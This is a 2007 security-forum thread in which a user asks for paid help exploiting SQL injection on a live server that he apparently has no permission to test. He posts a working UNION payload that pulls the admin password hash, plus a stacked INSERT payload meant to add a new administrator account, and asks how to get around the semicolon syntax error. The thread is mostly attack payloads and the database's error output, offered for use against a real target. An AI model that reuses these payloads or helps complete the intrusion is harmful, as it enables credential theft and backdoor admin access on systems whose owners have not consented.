|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| |
|
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145
People Online:
Visitors: 572
Members: 0
Total: 572
|
|
|
|
|
|
PacketStorm News |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Need help with SQL Injection |
|
Posted: Wed Apr 25, 2007 10:35 pm |
|
|
Tw1stedL0gic |
Regular user |
|
|
Joined: Mar 31, 2007 |
Posts: 11 |
|
|
|
|
|
|
|
Need help getting an SQL injection to work.
This server is vulnerable, I'm getting "you have an error in your SQL syntax" and I can't get the exploit working.
If SQL injection is your speciality then please PM me. Will sort you some cash if you get this working. |
|
|
|
|
|
|
|
|
Posted: Sun Apr 29, 2007 1:40 pm |
|
|
Tw1stedL0gic |
Regular user |
|
|
Joined: Mar 31, 2007 |
Posts: 11 |
|
|
|
|
|
|
|
Right I've got the SQL injection working with select statements, But I want an insert. I've used union to get my select working, but for inserts I need to end the first statement with a semi-colon. However, for some reason it doesn't like it.
Here's the full SQL statement within the app:
Code: | select zone_name from zones where zone_country_id = '[unsanitised input]' and zone_id = '0' |
Here's the SQL I can get to work:
Code: | 1' union select admin_password from admin where admin_id='1' # |
(The hash turns the rest of the code into a comment)
Which makes the full SQL statement into:
Code: | select zone_name from zones where zone_country_id = '1' union select admin_password from admin where admin_id='1' #' and zone_id = '0' |
The code I want to get working is this:
Code: | 1'; insert into admin (admin_id, admin_email_address, admin_password) values ('8', 'test@email.com', 'passwordhash'); # |
Which turns the SQL statement in the app into:
Code: | select zone_name from zones where zone_country_id = '1'; insert into admin (admin_id, admin_email_address, admin_password) values ('8', 'test@email.com', 'passwordhash'); #' and zone_id = '0' |
But it's giving this error:
Code: | 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; insert into admin (admin_id, admin_groups_id, admin_firstname, admin_lastname,' at line 1
select zone_name from zones where zone_country_id = '1'; insert into admin (admin_id, admin_groups_id, admin_firstname, admin_lastname, admin_email_address, admin_password, admin_created, admin_modified, admin_logdate, admin_lognum) values ('8', '1', 'System', 'System', 'noreply@somesite.com', '74ffeda34d533e866243c3549d838a24:83', '2003-06-22 09:00:03', '2003-11-01 00:12:19', '2004-03-31 02:36:21', '1225'); #' and zone_id = '0' |
It seems it doesn't like the semi-colon. Is there another way I can get the insert statement in there, other than the semi-colon?
What's gone wrong here?
Thanks |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|